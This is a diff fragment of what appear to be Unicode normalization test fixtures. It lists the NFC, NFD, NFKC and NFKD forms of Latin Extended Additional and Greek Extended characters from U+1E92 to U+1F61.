+{ source: [0x1E92], NFC: [0x1E92], NFD: [0x005A, 0x0323], NFKC: [0x1E92], NFKD: [0x005A, 0x0323] },
+{ source: [0x1E93], NFC: [0x1E93], NFD: [0x007A, 0x0323], NFKC: [0x1E93], NFKD: [0x007A, 0x0323] },
+{ source: [0x1E94], NFC: [0x1E94], NFD: [0x005A, 0x0331], NFKC: [0x1E94], NFKD: [0x005A, 0x0331] },
+{ source: [0x1E95], NFC: [0x1E95], NFD: [0x007A, 0x0331], NFKC: [0x1E95], NFKD: [0x007A, 0x0331] },
+{ source: [0x1E96], NFC: [0x1E96], NFD: [0x0068, 0x0331], NFKC: [0x1E96], NFKD: [0x0068, 0x0331] },
+{ source: [0x1E97], NFC: [0x1E97], NFD: [0x0074, 0x0308], NFKC: [0x1E97], NFKD: [0x0074, 0x0308] },
+{ source: [0x1E98], NFC: [0x1E98], NFD: [0x0077, 0x030A], NFKC: [0x1E98], NFKD: [0x0077, 0x030A] },
+{ source: [0x1E99], NFC: [0x1E99], NFD: [0x0079, 0x030A], NFKC: [0x1E99], NFKD: [0x0079, 0x030A] },
+{ source: [0x1E9A], NFC: [0x1E9A], NFD: [0x1E9A], NFKC: [0x0061, 0x02BE], NFKD: [0x0061, 0x02BE] },
+{ source: [0x1E9B], NFC: [0x1E9B], NFD: [0x017F, 0x0307], NFKC: [0x1E61], NFKD: [0x0073, 0x0307] },
+{ source: [0x1EA0], NFC: [0x1EA0], NFD: [0x0041, 0x0323], NFKC: [0x1EA0], NFKD: [0x0041, 0x0323] },
+{ source: [0x1EA1], NFC: [0x1EA1], NFD: [0x0061, 0x0323], NFKC: [0x1EA1], NFKD: [0x0061, 0x0323] },
+{ source: [0x1EA2], NFC: [0x1EA2], NFD: [0x0041, 0x0309], NFKC: [0x1EA2], NFKD: [0x0041, 0x0309] },
+{ source: [0x1EA3], NFC: [0x1EA3], NFD: [0x0061, 0x0309], NFKC: [0x1EA3], NFKD: [0x0061, 0x0309] },
+{ source: [0x1EA4], NFC: [0x1EA4], NFD: [0x0041, 0x0302, 0x0301], NFKC: [0x1EA4], NFKD: [0x0041, 0x0302, 0x0301] },
+{ source: [0x1EA5], NFC: [0x1EA5], NFD: [0x0061, 0x0302, 0x0301], NFKC: [0x1EA5], NFKD: [0x0061, 0x0302, 0x0301] },
+{ source: [0x1EA6], NFC: [0x1EA6], NFD: [0x0041, 0x0302, 0x0300], NFKC: [0x1EA6], NFKD: [0x0041, 0x0302, 0x0300] },
+{ source: [0x1EA7], NFC: [0x1EA7], NFD: [0x0061, 0x0302, 0x0300], NFKC: [0x1EA7], NFKD: [0x0061, 0x0302, 0x0300] },
+{ source: [0x1EA8], NFC: [0x1EA8], NFD: [0x0041, 0x0302, 0x0309], NFKC: [0x1EA8], NFKD: [0x0041, 0x0302, 0x0309] },
+{ source: [0x1EA9], NFC: [0x1EA9], NFD: [0x0061, 0x0302, 0x0309], NFKC: [0x1EA9], NFKD: [0x0061, 0x0302, 0x0309] },
+{ source: [0x1EAA], NFC: [0x1EAA], NFD: [0x0041, 0x0302, 0x0303], NFKC: [0x1EAA], NFKD: [0x0041, 0x0302, 0x0303] },
+{ source: [0x1EAB], NFC: [0x1EAB], NFD: [0x0061, 0x0302, 0x0303], NFKC: [0x1EAB], NFKD: [0x0061, 0x0302, 0x0303] },
+{ source: [0x1EAC], NFC: [0x1EAC], NFD: [0x0041, 0x0323, 0x0302], NFKC: [0x1EAC], NFKD: [0x0041, 0x0323, 0x0302] },
+{ source: [0x1EAD], NFC: [0x1EAD], NFD: [0x0061, 0x0323, 0x0302], NFKC: [0x1EAD], NFKD: [0x0061, 0x0323, 0x0302] },
+{ source: [0x1EAE], NFC: [0x1EAE], NFD: [0x0041, 0x0306, 0x0301], NFKC: [0x1EAE], NFKD: [0x0041, 0x0306, 0x0301] },
+{ source: [0x1EAF], NFC: [0x1EAF], NFD: [0x0061, 0x0306, 0x0301], NFKC: [0x1EAF], NFKD: [0x0061, 0x0306, 0x0301] },
+{ source: [0x1EB0], NFC: [0x1EB0], NFD: [0x0041, 0x0306, 0x0300], NFKC: [0x1EB0], NFKD: [0x0041, 0x0306, 0x0300] },
+{ source: [0x1EB1], NFC: [0x1EB1], NFD: [0x0061, 0x0306, 0x0300], NFKC: [0x1EB1], NFKD: [0x0061, 0x0306, 0x0300] },
+{ source: [0x1EB2], NFC: [0x1EB2], NFD: [0x0041, 0x0306, 0x0309], NFKC: [0x1EB2], NFKD: [0x0041, 0x0306, 0x0309] },
+{ source: [0x1EB3], NFC: [0x1EB3], NFD: [0x0061, 0x0306, 0x0309], NFKC: [0x1EB3], NFKD: [0x0061, 0x0306, 0x0309] },
+{ source: [0x1EB4], NFC: [0x1EB4], NFD: [0x0041, 0x0306, 0x0303], NFKC: [0x1EB4], NFKD: [0x0041, 0x0306, 0x0303] },
+{ source: [0x1EB5], NFC: [0x1EB5], NFD: [0x0061, 0x0306, 0x0303], NFKC: [0x1EB5], NFKD: [0x0061, 0x0306, 0x0303] },
+{ source: [0x1EB6], NFC: [0x1EB6], NFD: [0x0041, 0x0323, 0x0306], NFKC: [0x1EB6], NFKD: [0x0041, 0x0323, 0x0306] },
+{ source: [0x1EB7], NFC: [0x1EB7], NFD: [0x0061, 0x0323, 0x0306], NFKC: [0x1EB7], NFKD: [0x0061, 0x0323, 0x0306] },
+{ source: [0x1EB8], NFC: [0x1EB8], NFD: [0x0045, 0x0323], NFKC: [0x1EB8], NFKD: [0x0045, 0x0323] },
+{ source: [0x1EB9], NFC: [0x1EB9], NFD: [0x0065, 0x0323], NFKC: [0x1EB9], NFKD: [0x0065, 0x0323] },
+{ source: [0x1EBA], NFC: [0x1EBA], NFD: [0x0045, 0x0309], NFKC: [0x1EBA], NFKD: [0x0045, 0x0309] },
+{ source: [0x1EBB], NFC: [0x1EBB], NFD: [0x0065, 0x0309], NFKC: [0x1EBB], NFKD: [0x0065, 0x0309] },
+{ source: [0x1EBC], NFC: [0x1EBC], NFD: [0x0045, 0x0303], NFKC: [0x1EBC], NFKD: [0x0045, 0x0303] },
+{ source: [0x1EBD], NFC: [0x1EBD], NFD: [0x0065, 0x0303], NFKC: [0x1EBD], NFKD: [0x0065, 0x0303] },
+{ source: [0x1EBE], NFC: [0x1EBE], NFD: [0x0045, 0x0302, 0x0301], NFKC: [0x1EBE], NFKD: [0x0045, 0x0302, 0x0301] },
+{ source: [0x1EBF], NFC: [0x1EBF], NFD: [0x0065, 0x0302, 0x0301], NFKC: [0x1EBF], NFKD: [0x0065, 0x0302, 0x0301] },
+{ source: [0x1EC0], NFC: [0x1EC0], NFD: [0x0045, 0x0302, 0x0300], NFKC: [0x1EC0], NFKD: [0x0045, 0x0302, 0x0300] },
+{ source: [0x1EC1], NFC: [0x1EC1], NFD: [0x0065, 0x0302, 0x0300], NFKC: [0x1EC1], NFKD: [0x0065, 0x0302, 0x0300] },
+{ source: [0x1EC2], NFC: [0x1EC2], NFD: [0x0045, 0x0302, 0x0309], NFKC: [0x1EC2], NFKD: [0x0045, 0x0302, 0x0309] },
+{ source: [0x1EC3], NFC: [0x1EC3], NFD: [0x0065, 0x0302, 0x0309], NFKC: [0x1EC3], NFKD: [0x0065, 0x0302, 0x0309] },
+{ source: [0x1EC4], NFC: [0x1EC4], NFD: [0x0045, 0x0302, 0x0303], NFKC: [0x1EC4], NFKD: [0x0045, 0x0302, 0x0303] },
+{ source: [0x1EC5], NFC: [0x1EC5], NFD: [0x0065, 0x0302, 0x0303], NFKC: [0x1EC5], NFKD: [0x0065, 0x0302, 0x0303] },
+{ source: [0x1EC6], NFC: [0x1EC6], NFD: [0x0045, 0x0323, 0x0302], NFKC: [0x1EC6], NFKD: [0x0045, 0x0323, 0x0302] },
+{ source: [0x1EC7], NFC: [0x1EC7], NFD: [0x0065, 0x0323, 0x0302], NFKC: [0x1EC7], NFKD: [0x0065, 0x0323, 0x0302] },
+{ source: [0x1EC8], NFC: [0x1EC8], NFD: [0x0049, 0x0309], NFKC: [0x1EC8], NFKD: [0x0049, 0x0309] },
+{ source: [0x1EC9], NFC: [0x1EC9], NFD: [0x0069, 0x0309], NFKC: [0x1EC9], NFKD: [0x0069, 0x0309] },
+{ source: [0x1ECA], NFC: [0x1ECA], NFD: [0x0049, 0x0323], NFKC: [0x1ECA], NFKD: [0x0049, 0x0323] },
+{ source: [0x1ECB], NFC: [0x1ECB], NFD: [0x0069, 0x0323], NFKC: [0x1ECB], NFKD: [0x0069, 0x0323] },
+{ source: [0x1ECC], NFC: [0x1ECC], NFD: [0x004F, 0x0323], NFKC: [0x1ECC], NFKD: [0x004F, 0x0323] },
+{ source: [0x1ECD], NFC: [0x1ECD], NFD: [0x006F, 0x0323], NFKC: [0x1ECD], NFKD: [0x006F, 0x0323] },
+{ source: [0x1ECE], NFC: [0x1ECE], NFD: [0x004F, 0x0309], NFKC: [0x1ECE], NFKD: [0x004F, 0x0309] },
+{ source: [0x1ECF], NFC: [0x1ECF], NFD: [0x006F, 0x0309], NFKC: [0x1ECF], NFKD: [0x006F, 0x0309] },
+{ source: [0x1ED0], NFC: [0x1ED0], NFD: [0x004F, 0x0302, 0x0301], NFKC: [0x1ED0], NFKD: [0x004F, 0x0302, 0x0301] },
+{ source: [0x1ED1], NFC: [0x1ED1], NFD: [0x006F, 0x0302, 0x0301], NFKC: [0x1ED1], NFKD: [0x006F, 0x0302, 0x0301] },
+{ source: [0x1ED2], NFC: [0x1ED2], NFD: [0x004F, 0x0302, 0x0300], NFKC: [0x1ED2], NFKD: [0x004F, 0x0302, 0x0300] },
+{ source: [0x1ED3], NFC: [0x1ED3], NFD: [0x006F, 0x0302, 0x0300], NFKC: [0x1ED3], NFKD: [0x006F, 0x0302, 0x0300] },
+{ source: [0x1ED4], NFC: [0x1ED4], NFD: [0x004F, 0x0302, 0x0309], NFKC: [0x1ED4], NFKD: [0x004F, 0x0302, 0x0309] },
+{ source: [0x1ED5], NFC: [0x1ED5], NFD: [0x006F, 0x0302, 0x0309], NFKC: [0x1ED5], NFKD: [0x006F, 0x0302, 0x0309] },
+{ source: [0x1ED6], NFC: [0x1ED6], NFD: [0x004F, 0x0302, 0x0303], NFKC: [0x1ED6], NFKD: [0x004F, 0x0302, 0x0303] },
+{ source: [0x1ED7], NFC: [0x1ED7], NFD: [0x006F, 0x0302, 0x0303], NFKC: [0x1ED7], NFKD: [0x006F, 0x0302, 0x0303] },
+{ source: [0x1ED8], NFC: [0x1ED8], NFD: [0x004F, 0x0323, 0x0302], NFKC: [0x1ED8], NFKD: [0x004F, 0x0323, 0x0302] },
+{ source: [0x1ED9], NFC: [0x1ED9], NFD: [0x006F, 0x0323, 0x0302], NFKC: [0x1ED9], NFKD: [0x006F, 0x0323, 0x0302] },
+{ source: [0x1EDA], NFC: [0x1EDA], NFD: [0x004F, 0x031B, 0x0301], NFKC: [0x1EDA], NFKD: [0x004F, 0x031B, 0x0301] },
+{ source: [0x1EDB], NFC: [0x1EDB], NFD: [0x006F, 0x031B, 0x0301], NFKC: [0x1EDB], NFKD: [0x006F, 0x031B, 0x0301] },
+{ source: [0x1EDC], NFC: [0x1EDC], NFD: [0x004F, 0x031B, 0x0300], NFKC: [0x1EDC], NFKD: [0x004F, 0x031B, 0x0300] },
+{ source: [0x1EDD], NFC: [0x1EDD], NFD: [0x006F, 0x031B, 0x0300], NFKC: [0x1EDD], NFKD: [0x006F, 0x031B, 0x0300] },
+{ source: [0x1EDE], NFC: [0x1EDE], NFD: [0x004F, 0x031B, 0x0309], NFKC: [0x1EDE], NFKD: [0x004F, 0x031B, 0x0309] },
+{ source: [0x1EDF], NFC: [0x1EDF], NFD: [0x006F, 0x031B, 0x0309], NFKC: [0x1EDF], NFKD: [0x006F, 0x031B, 0x0309] },
+{ source: [0x1EE0], NFC: [0x1EE0], NFD: [0x004F, 0x031B, 0x0303], NFKC: [0x1EE0], NFKD: [0x004F, 0x031B, 0x0303] },
+{ source: [0x1EE1], NFC: [0x1EE1], NFD: [0x006F, 0x031B, 0x0303], NFKC: [0x1EE1], NFKD: [0x006F, 0x031B, 0x0303] },
+{ source: [0x1EE2], NFC: [0x1EE2], NFD: [0x004F, 0x031B, 0x0323], NFKC: [0x1EE2], NFKD: [0x004F, 0x031B, 0x0323] },
+{ source: [0x1EE3], NFC: [0x1EE3], NFD: [0x006F, 0x031B, 0x0323], NFKC: [0x1EE3], NFKD: [0x006F, 0x031B, 0x0323] },
+{ source: [0x1EE4], NFC: [0x1EE4], NFD: [0x0055, 0x0323], NFKC: [0x1EE4], NFKD: [0x0055, 0x0323] },
+{ source: [0x1EE5], NFC: [0x1EE5], NFD: [0x0075, 0x0323], NFKC: [0x1EE5], NFKD: [0x0075, 0x0323] },
+{ source: [0x1EE6], NFC: [0x1EE6], NFD: [0x0055, 0x0309], NFKC: [0x1EE6], NFKD: [0x0055, 0x0309] },
+{ source: [0x1EE7], NFC: [0x1EE7], NFD: [0x0075, 0x0309], NFKC: [0x1EE7], NFKD: [0x0075, 0x0309] },
+{ source: [0x1EE8], NFC: [0x1EE8], NFD: [0x0055, 0x031B, 0x0301], NFKC: [0x1EE8], NFKD: [0x0055, 0x031B, 0x0301] },
+{ source: [0x1EE9], NFC: [0x1EE9], NFD: [0x0075, 0x031B, 0x0301], NFKC: [0x1EE9], NFKD: [0x0075, 0x031B, 0x0301] },
+{ source: [0x1EEA], NFC: [0x1EEA], NFD: [0x0055, 0x031B, 0x0300], NFKC: [0x1EEA], NFKD: [0x0055, 0x031B, 0x0300] },
+{ source: [0x1EEB], NFC: [0x1EEB], NFD: [0x0075, 0x031B, 0x0300], NFKC: [0x1EEB], NFKD: [0x0075, 0x031B, 0x0300] },
+{ source: [0x1EEC], NFC: [0x1EEC], NFD: [0x0055, 0x031B, 0x0309], NFKC: [0x1EEC], NFKD: [0x0055, 0x031B, 0x0309] },
+{ source: [0x1EED], NFC: [0x1EED], NFD: [0x0075, 0x031B, 0x0309], NFKC: [0x1EED], NFKD: [0x0075, 0x031B, 0x0309] },
+{ source: [0x1EEE], NFC: [0x1EEE], NFD: [0x0055, 0x031B, 0x0303], NFKC: [0x1EEE], NFKD: [0x0055, 0x031B, 0x0303] },
+{ source: [0x1EEF], NFC: [0x1EEF], NFD: [0x0075, 0x031B, 0x0303], NFKC: [0x1EEF], NFKD: [0x0075, 0x031B, 0x0303] },
+{ source: [0x1EF0], NFC: [0x1EF0], NFD: [0x0055, 0x031B, 0x0323], NFKC: [0x1EF0], NFKD: [0x0055, 0x031B, 0x0323] },
+{ source: [0x1EF1], NFC: [0x1EF1], NFD: [0x0075, 0x031B, 0x0323], NFKC: [0x1EF1], NFKD: [0x0075, 0x031B, 0x0323] },
+{ source: [0x1EF2], NFC: [0x1EF2], NFD: [0x0059, 0x0300], NFKC: [0x1EF2], NFKD: [0x0059, 0x0300] },
+{ source: [0x1EF3], NFC: [0x1EF3], NFD: [0x0079, 0x0300], NFKC: [0x1EF3], NFKD: [0x0079, 0x0300] },
+{ source: [0x1EF4], NFC: [0x1EF4], NFD: [0x0059, 0x0323], NFKC: [0x1EF4], NFKD: [0x0059, 0x0323] },
+{ source: [0x1EF5], NFC: [0x1EF5], NFD: [0x0079, 0x0323], NFKC: [0x1EF5], NFKD: [0x0079, 0x0323] },
+{ source: [0x1EF6], NFC: [0x1EF6], NFD: [0x0059, 0x0309], NFKC: [0x1EF6], NFKD: [0x0059, 0x0309] },
+{ source: [0x1EF7], NFC: [0x1EF7], NFD: [0x0079, 0x0309], NFKC: [0x1EF7], NFKD: [0x0079, 0x0309] },
+{ source: [0x1EF8], NFC: [0x1EF8], NFD: [0x0059, 0x0303], NFKC: [0x1EF8], NFKD: [0x0059, 0x0303] },
+{ source: [0x1EF9], NFC: [0x1EF9], NFD: [0x0079, 0x0303], NFKC: [0x1EF9], NFKD: [0x0079, 0x0303] },
+{ source: [0x1F00], NFC: [0x1F00], NFD: [0x03B1, 0x0313], NFKC: [0x1F00], NFKD: [0x03B1, 0x0313] },
+{ source: [0x1F01], NFC: [0x1F01], NFD: [0x03B1, 0x0314], NFKC: [0x1F01], NFKD: [0x03B1, 0x0314] },
+{ source: [0x1F02], NFC: [0x1F02], NFD: [0x03B1, 0x0313, 0x0300], NFKC: [0x1F02], NFKD: [0x03B1, 0x0313, 0x0300] },
+{ source: [0x1F03], NFC: [0x1F03], NFD: [0x03B1, 0x0314, 0x0300], NFKC: [0x1F03], NFKD: [0x03B1, 0x0314, 0x0300] },
+{ source: [0x1F04], NFC: [0x1F04], NFD: [0x03B1, 0x0313, 0x0301], NFKC: [0x1F04], NFKD: [0x03B1, 0x0313, 0x0301] },
+{ source: [0x1F05], NFC: [0x1F05], NFD: [0x03B1, 0x0314, 0x0301], NFKC: [0x1F05], NFKD: [0x03B1, 0x0314, 0x0301] },
+{ source: [0x1F06], NFC: [0x1F06], NFD: [0x03B1, 0x0313, 0x0342], NFKC: [0x1F06], NFKD: [0x03B1, 0x0313, 0x0342] },
+{ source: [0x1F07], NFC: [0x1F07], NFD: [0x03B1, 0x0314, 0x0342], NFKC: [0x1F07], NFKD: [0x03B1, 0x0314, 0x0342] },
+{ source: [0x1F08], NFC: [0x1F08], NFD: [0x0391, 0x0313], NFKC: [0x1F08], NFKD: [0x0391, 0x0313] },
+{ source: [0x1F09], NFC: [0x1F09], NFD: [0x0391, 0x0314], NFKC: [0x1F09], NFKD: [0x0391, 0x0314] },
+{ source: [0x1F0A], NFC: [0x1F0A], NFD: [0x0391, 0x0313, 0x0300], NFKC: [0x1F0A], NFKD: [0x0391, 0x0313, 0x0300] },
+{ source: [0x1F0B], NFC: [0x1F0B], NFD: [0x0391, 0x0314, 0x0300], NFKC: [0x1F0B], NFKD: [0x0391, 0x0314, 0x0300] },
+{ source: [0x1F0C], NFC: [0x1F0C], NFD: [0x0391, 0x0313, 0x0301], NFKC: [0x1F0C], NFKD: [0x0391, 0x0313, 0x0301] },
+{ source: [0x1F0D], NFC: [0x1F0D], NFD: [0x0391, 0x0314, 0x0301], NFKC: [0x1F0D], NFKD: [0x0391, 0x0314, 0x0301] },
+{ source: [0x1F0E], NFC: [0x1F0E], NFD: [0x0391, 0x0313, 0x0342], NFKC: [0x1F0E], NFKD: [0x0391, 0x0313, 0x0342] },
+{ source: [0x1F0F], NFC: [0x1F0F], NFD: [0x0391, 0x0314, 0x0342], NFKC: [0x1F0F], NFKD: [0x0391, 0x0314, 0x0342] },
+{ source: [0x1F10], NFC: [0x1F10], NFD: [0x03B5, 0x0313], NFKC: [0x1F10], NFKD: [0x03B5, 0x0313] },
+{ source: [0x1F11], NFC: [0x1F11], NFD: [0x03B5, 0x0314], NFKC: [0x1F11], NFKD: [0x03B5, 0x0314] },
+{ source: [0x1F12], NFC: [0x1F12], NFD: [0x03B5, 0x0313, 0x0300], NFKC: [0x1F12], NFKD: [0x03B5, 0x0313, 0x0300] },
+{ source: [0x1F13], NFC: [0x1F13], NFD: [0x03B5, 0x0314, 0x0300], NFKC: [0x1F13], NFKD: [0x03B5, 0x0314, 0x0300] },
+{ source: [0x1F14], NFC: [0x1F14], NFD: [0x03B5, 0x0313, 0x0301], NFKC: [0x1F14], NFKD: [0x03B5, 0x0313, 0x0301] },
+{ source: [0x1F15], NFC: [0x1F15], NFD: [0x03B5, 0x0314, 0x0301], NFKC: [0x1F15], NFKD: [0x03B5, 0x0314, 0x0301] },
+{ source: [0x1F18], NFC: [0x1F18], NFD: [0x0395, 0x0313], NFKC: [0x1F18], NFKD: [0x0395, 0x0313] },
+{ source: [0x1F19], NFC: [0x1F19], NFD: [0x0395, 0x0314], NFKC: [0x1F19], NFKD: [0x0395, 0x0314] },
+{ source: [0x1F1A], NFC: [0x1F1A], NFD: [0x0395, 0x0313, 0x0300], NFKC: [0x1F1A], NFKD: [0x0395, 0x0313, 0x0300] },
+{ source: [0x1F1B], NFC: [0x1F1B], NFD: [0x0395, 0x0314, 0x0300], NFKC: [0x1F1B], NFKD: [0x0395, 0x0314, 0x0300] },
+{ source: [0x1F1C], NFC: [0x1F1C], NFD: [0x0395, 0x0313, 0x0301], NFKC: [0x1F1C], NFKD: [0x0395, 0x0313, 0x0301] },
+{ source: [0x1F1D], NFC: [0x1F1D], NFD: [0x0395, 0x0314, 0x0301], NFKC: [0x1F1D], NFKD: [0x0395, 0x0314, 0x0301] },
+{ source: [0x1F20], NFC: [0x1F20], NFD: [0x03B7, 0x0313], NFKC: [0x1F20], NFKD: [0x03B7, 0x0313] },
+{ source: [0x1F21], NFC: [0x1F21], NFD: [0x03B7, 0x0314], NFKC: [0x1F21], NFKD: [0x03B7, 0x0314] },
+{ source: [0x1F22], NFC: [0x1F22], NFD: [0x03B7, 0x0313, 0x0300], NFKC: [0x1F22], NFKD: [0x03B7, 0x0313, 0x0300] },
+{ source: [0x1F23], NFC: [0x1F23], NFD: [0x03B7, 0x0314, 0x0300], NFKC: [0x1F23], NFKD: [0x03B7, 0x0314, 0x0300] },
+{ source: [0x1F24], NFC: [0x1F24], NFD: [0x03B7, 0x0313, 0x0301], NFKC: [0x1F24], NFKD: [0x03B7, 0x0313, 0x0301] },
+{ source: [0x1F25], NFC: [0x1F25], NFD: [0x03B7, 0x0314, 0x0301], NFKC: [0x1F25], NFKD: [0x03B7, 0x0314, 0x0301] },
+{ source: [0x1F26], NFC: [0x1F26], NFD: [0x03B7, 0x0313, 0x0342], NFKC: [0x1F26], NFKD: [0x03B7, 0x0313, 0x0342] },
+{ source: [0x1F27], NFC: [0x1F27], NFD: [0x03B7, 0x0314, 0x0342], NFKC: [0x1F27], NFKD: [0x03B7, 0x0314, 0x0342] },
+{ source: [0x1F28], NFC: [0x1F28], NFD: [0x0397, 0x0313], NFKC: [0x1F28], NFKD: [0x0397, 0x0313] },
+{ source: [0x1F29], NFC: [0x1F29], NFD: [0x0397, 0x0314], NFKC: [0x1F29], NFKD: [0x0397, 0x0314] },
+{ source: [0x1F2A], NFC: [0x1F2A], NFD: [0x0397, 0x0313, 0x0300], NFKC: [0x1F2A], NFKD: [0x0397, 0x0313, 0x0300] },
+{ source: [0x1F2B], NFC: [0x1F2B], NFD: [0x0397, 0x0314, 0x0300], NFKC: [0x1F2B], NFKD: [0x0397, 0x0314, 0x0300] },
+{ source: [0x1F2C], NFC: [0x1F2C], NFD: [0x0397, 0x0313, 0x0301], NFKC: [0x1F2C], NFKD: [0x0397, 0x0313, 0x0301] },
+{ source: [0x1F2D], NFC: [0x1F2D], NFD: [0x0397, 0x0314, 0x0301], NFKC: [0x1F2D], NFKD: [0x0397, 0x0314, 0x0301] },
+{ source: [0x1F2E], NFC: [0x1F2E], NFD: [0x0397, 0x0313, 0x0342], NFKC: [0x1F2E], NFKD: [0x0397, 0x0313, 0x0342] },
+{ source: [0x1F2F], NFC: [0x1F2F], NFD: [0x0397, 0x0314, 0x0342], NFKC: [0x1F2F], NFKD: [0x0397, 0x0314, 0x0342] },
+{ source: [0x1F30], NFC: [0x1F30], NFD: [0x03B9, 0x0313], NFKC: [0x1F30], NFKD: [0x03B9, 0x0313] },
+{ source: [0x1F31], NFC: [0x1F31], NFD: [0x03B9, 0x0314], NFKC: [0x1F31], NFKD: [0x03B9, 0x0314] },
+{ source: [0x1F32], NFC: [0x1F32], NFD: [0x03B9, 0x0313, 0x0300], NFKC: [0x1F32], NFKD: [0x03B9, 0x0313, 0x0300] },
+{ source: [0x1F33], NFC: [0x1F33], NFD: [0x03B9, 0x0314, 0x0300], NFKC: [0x1F33], NFKD: [0x03B9, 0x0314, 0x0300] },
+{ source: [0x1F34], NFC: [0x1F34], NFD: [0x03B9, 0x0313, 0x0301], NFKC: [0x1F34], NFKD: [0x03B9, 0x0313, 0x0301] },
+{ source: [0x1F35], NFC: [0x1F35], NFD: [0x03B9, 0x0314, 0x0301], NFKC: [0x1F35], NFKD: [0x03B9, 0x0314, 0x0301] },
+{ source: [0x1F36], NFC: [0x1F36], NFD: [0x03B9, 0x0313, 0x0342], NFKC: [0x1F36], NFKD: [0x03B9, 0x0313, 0x0342] },
+{ source: [0x1F37], NFC: [0x1F37], NFD: [0x03B9, 0x0314, 0x0342], NFKC: [0x1F37], NFKD: [0x03B9, 0x0314, 0x0342] },
+{ source: [0x1F38], NFC: [0x1F38], NFD: [0x0399, 0x0313], NFKC: [0x1F38], NFKD: [0x0399, 0x0313] },
+{ source: [0x1F39], NFC: [0x1F39], NFD: [0x0399, 0x0314], NFKC: [0x1F39], NFKD: [0x0399, 0x0314] },
+{ source: [0x1F3A], NFC: [0x1F3A], NFD: [0x0399, 0x0313, 0x0300], NFKC: [0x1F3A], NFKD: [0x0399, 0x0313, 0x0300] },
+{ source: [0x1F3B], NFC: [0x1F3B], NFD: [0x0399, 0x0314, 0x0300], NFKC: [0x1F3B], NFKD: [0x0399, 0x0314, 0x0300] },
+{ source: [0x1F3C], NFC: [0x1F3C], NFD: [0x0399, 0x0313, 0x0301], NFKC: [0x1F3C], NFKD: [0x0399, 0x0313, 0x0301] },
+{ source: [0x1F3D], NFC: [0x1F3D], NFD: [0x0399, 0x0314, 0x0301], NFKC: [0x1F3D], NFKD: [0x0399, 0x0314, 0x0301] },
+{ source: [0x1F3E], NFC: [0x1F3E], NFD: [0x0399, 0x0313, 0x0342], NFKC: [0x1F3E], NFKD: [0x0399, 0x0313, 0x0342] },
+{ source: [0x1F3F], NFC: [0x1F3F], NFD: [0x0399, 0x0314, 0x0342], NFKC: [0x1F3F], NFKD: [0x0399, 0x0314, 0x0342] },
+{ source: [0x1F40], NFC: [0x1F40], NFD: [0x03BF, 0x0313], NFKC: [0x1F40], NFKD: [0x03BF, 0x0313] },
+{ source: [0x1F41], NFC: [0x1F41], NFD: [0x03BF, 0x0314], NFKC: [0x1F41], NFKD: [0x03BF, 0x0314] },
+{ source: [0x1F42], NFC: [0x1F42], NFD: [0x03BF, 0x0313, 0x0300], NFKC: [0x1F42], NFKD: [0x03BF, 0x0313, 0x0300] },
+{ source: [0x1F43], NFC: [0x1F43], NFD: [0x03BF, 0x0314, 0x0300], NFKC: [0x1F43], NFKD: [0x03BF, 0x0314, 0x0300] },
+{ source: [0x1F44], NFC: [0x1F44], NFD: [0x03BF, 0x0313, 0x0301], NFKC: [0x1F44], NFKD: [0x03BF, 0x0313, 0x0301] },
+{ source: [0x1F45], NFC: [0x1F45], NFD: [0x03BF, 0x0314, 0x0301], NFKC: [0x1F45], NFKD: [0x03BF, 0x0314, 0x0301] },
+{ source: [0x1F48], NFC: [0x1F48], NFD: [0x039F, 0x0313], NFKC: [0x1F48], NFKD: [0x039F, 0x0313] },
+{ source: [0x1F49], NFC: [0x1F49], NFD: [0x039F, 0x0314], NFKC: [0x1F49], NFKD: [0x039F, 0x0314] },
+{ source: [0x1F4A], NFC: [0x1F4A], NFD: [0x039F, 0x0313, 0x0300], NFKC: [0x1F4A], NFKD: [0x039F, 0x0313, 0x0300] },
+{ source: [0x1F4B], NFC: [0x1F4B], NFD: [0x039F, 0x0314, 0x0300], NFKC: [0x1F4B], NFKD: [0x039F, 0x0314, 0x0300] },
+{ source: [0x1F4C], NFC: [0x1F4C], NFD: [0x039F, 0x0313, 0x0301], NFKC: [0x1F4C], NFKD: [0x039F, 0x0313, 0x0301] },
+{ source: [0x1F4D], NFC: [0x1F4D], NFD: [0x039F, 0x0314, 0x0301], NFKC: [0x1F4D], NFKD: [0x039F, 0x0314, 0x0301] },
+{ source: [0x1F50], NFC: [0x1F50], NFD: [0x03C5, 0x0313], NFKC: [0x1F50], NFKD: [0x03C5, 0x0313] },
+{ source: [0x1F51], NFC: [0x1F51], NFD: [0x03C5, 0x0314], NFKC: [0x1F51], NFKD: [0x03C5, 0x0314] },
+{ source: [0x1F52], NFC: [0x1F52], NFD: [0x03C5, 0x0313, 0x0300], NFKC: [0x1F52], NFKD: [0x03C5, 0x0313, 0x0300] },
+{ source: [0x1F53], NFC: [0x1F53], NFD: [0x03C5, 0x0314, 0x0300], NFKC: [0x1F53], NFKD: [0x03C5, 0x0314, 0x0300] },
+{ source: [0x1F54], NFC: [0x1F54], NFD: [0x03C5, 0x0313, 0x0301], NFKC: [0x1F54], NFKD: [0x03C5, 0x0313, 0x0301] },
+{ source: [0x1F55], NFC: [0x1F55], NFD: [0x03C5, 0x0314, 0x0301], NFKC: [0x1F55], NFKD: [0x03C5, 0x0314, 0x0301] },
+{ source: [0x1F56], NFC: [0x1F56], NFD: [0x03C5, 0x0313, 0x0342], NFKC: [0x1F56], NFKD: [0x03C5, 0x0313, 0x0342] },
+{ source: [0x1F57], NFC: [0x1F57], NFD: [0x03C5, 0x0314, 0x0342], NFKC: [0x1F57], NFKD: [0x03C5, 0x0314, 0x0342] },
+{ source: [0x1F59], NFC: [0x1F59], NFD: [0x03A5, 0x0314], NFKC: [0x1F59], NFKD: [0x03A5, 0x0314] },
+{ source: [0x1F5B], NFC: [0x1F5B], NFD: [0x03A5, 0x0314, 0x0300], NFKC: [0x1F5B], NFKD: [0x03A5, 0x0314, 0x0300] },
+{ source: [0x1F5D], NFC: [0x1F5D], NFD: [0x03A5, 0x0314, 0x0301], NFKC: [0x1F5D], NFKD: [0x03A5, 0x0314, 0x0301] },
+{ source: [0x1F5F], NFC: [0x1F5F], NFD: [0x03A5, 0x0314, 0x0342], NFKC: [0x1F5F], NFKD: [0x03A5, 0x0314, 0x0342] },
+{ source: [0x1F60], NFC: [0x1F60], NFD: [0x03C9, 0x0313], NFKC: [0x1F60], NFKD: [0x03C9, 0x0313] },
+{ source: [0x1F61], NFC: [0x1F61], NFD: [0x03C9, 0x0314], NFKC: [0x1F61], NFKD: [0x03C9, 0x0314] },
